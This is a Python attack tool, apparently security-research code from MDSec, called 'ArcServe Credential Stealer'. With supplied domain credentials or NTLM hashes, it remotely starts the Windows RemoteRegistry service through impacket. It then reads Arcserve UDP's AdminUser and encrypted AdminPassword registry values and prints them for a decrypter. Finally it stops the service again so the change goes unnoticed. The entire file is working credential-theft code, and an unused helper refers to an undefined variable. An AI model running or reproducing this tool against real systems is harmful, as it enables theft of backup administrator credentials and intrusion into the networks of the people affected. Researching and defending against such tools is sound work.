#!/usr/bin/env python3 # Retrieve ArcServe admin credentials - Juan Manuel Fernandez (@TheXC3LL) - MDSec import sys import argparse import logging from impacket import system_errors from impacket import version from impacket.dcerpc.v5 import transport, scmr, rrp from impacket.krb5.keytab import Keytab from impacket.dcerpc.v5.dtypes import NULL # From Impacket Utils def parse_target(target): domain, username, password, remote_name = target_regex.match(target).groups('') # In case the password contains '@' if '@' in remote_name: password = password + '@' + remote_name.rpartition('@')[0] remote_name = remote_name.rpartition('@')[2] return domain, username, password, remote_name class giveme(): def run(self, username, password, domain, lmhash, nthash, doKerberos, dcHost, targetIp): stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % targetIp logging.debug('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(445) rpctransport.setRemoteHost(targetIp) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) if doKerberos: rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) dce = rpctransport.get_dce_rpc() print("[+] Connecting to %s" % targetIp) try: dce.connect() except Exception as e: logging.critical(str(e)) sys.exit(1) dce.bind(scmr.MSRPC_UUID_SCMR) scHandle = scmr.hROpenSCManagerW(dce) serviceName = 'RemoteRegistry\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle['lpScHandle'], serviceName, desiredAccess ) serviceHandle = resp['lpServiceHandle'] print("[+] Checking Remote Registry service status...") resp = scmr.hRQueryServiceStatus(dce, serviceHandle) if resp['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: print("[+] Service is up!") stopme = False if resp['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: print("[+] Service is down!") stopme = True if stopme == True: print("[+] Starting Remote Registry service...") try: req = scmr.RStartServiceW() req['hService'] = serviceHandle req['argc'] = 0 req['argv'] = NULL dce.request(req) except Exception as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0: logging.critical(str(e)) raise pass strb = r'ncacn_np:%s[\pipe\winreg]' % targetIp rpc = transport.DCERPCTransportFactory(strb) rpc.set_dport(445) rpc.setRemoteHost(targetIp) if hasattr(rpc, 'set_credentials'): rpc.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) if doKerberos: rpc.set_kerberos(doKerberos, kdcHost=dcHost) dce2 = rpc.get_dce_rpc() print("[+] Connecting to %s" % targetIp) try: dce2.connect() except Exception as e: logging.critical(str(e)) sys.exit(1) dce2.bind(rrp.MSRPC_UUID_RRP) print("[+] Opening registry key") ans = rrp.hOpenLocalMachine(dce2) resp = rrp.hBaseRegOpenKey(dce2, ans["phKey"], "SOFTWARE\\Arcserve\\Unified Data Protection\\Engine", samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) handler = resp["phkResult"] type, adminuser = rrp.hBaseRegQueryValue(dce2, handler, "AdminUser") print("\t[*] User: " + adminuser) type, password = rrp.hBaseRegQueryValue(dce2, handler, "AdminPassword") password = password[0x80:] final = [] for x in password: final.append(str(x)) print("\t[*] Password: {" + ', '.join(final) + "}; // Paste it to the decrypter") if stopme == True: print("[+] Stopping Remote Registry Service") try: req = scmr.RControlService() req['hService'] = serviceHandle req['dwControl'] = scmr.SERVICE_CONTROL_STOP dce.request(req) except Exception as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str(e).find('ERROR_SERVICE_NOT_ACTIVE') < 0: logging.critical(str(e)) raise pass def main(): parser = argparse.ArgumentParser(add_help = True, description = "ArcServe Credential Stealer - (@TheXC3LL) - MDSec") parser.add_argument('-u', '--username', action="store", default='', help='valid username') parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)') parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)') parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') parser.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') options = parser.parse_args() if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True: from getpass import getpass options.password = getpass("Password:") pwn = giveme() pwn.run(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip) if __name__ == "__main__": print("\t\t-=[ ArcServe Credential Stealer - (@TheXC3LL) - MDSec]=-") main() print("\nHave a nice day! ^_^")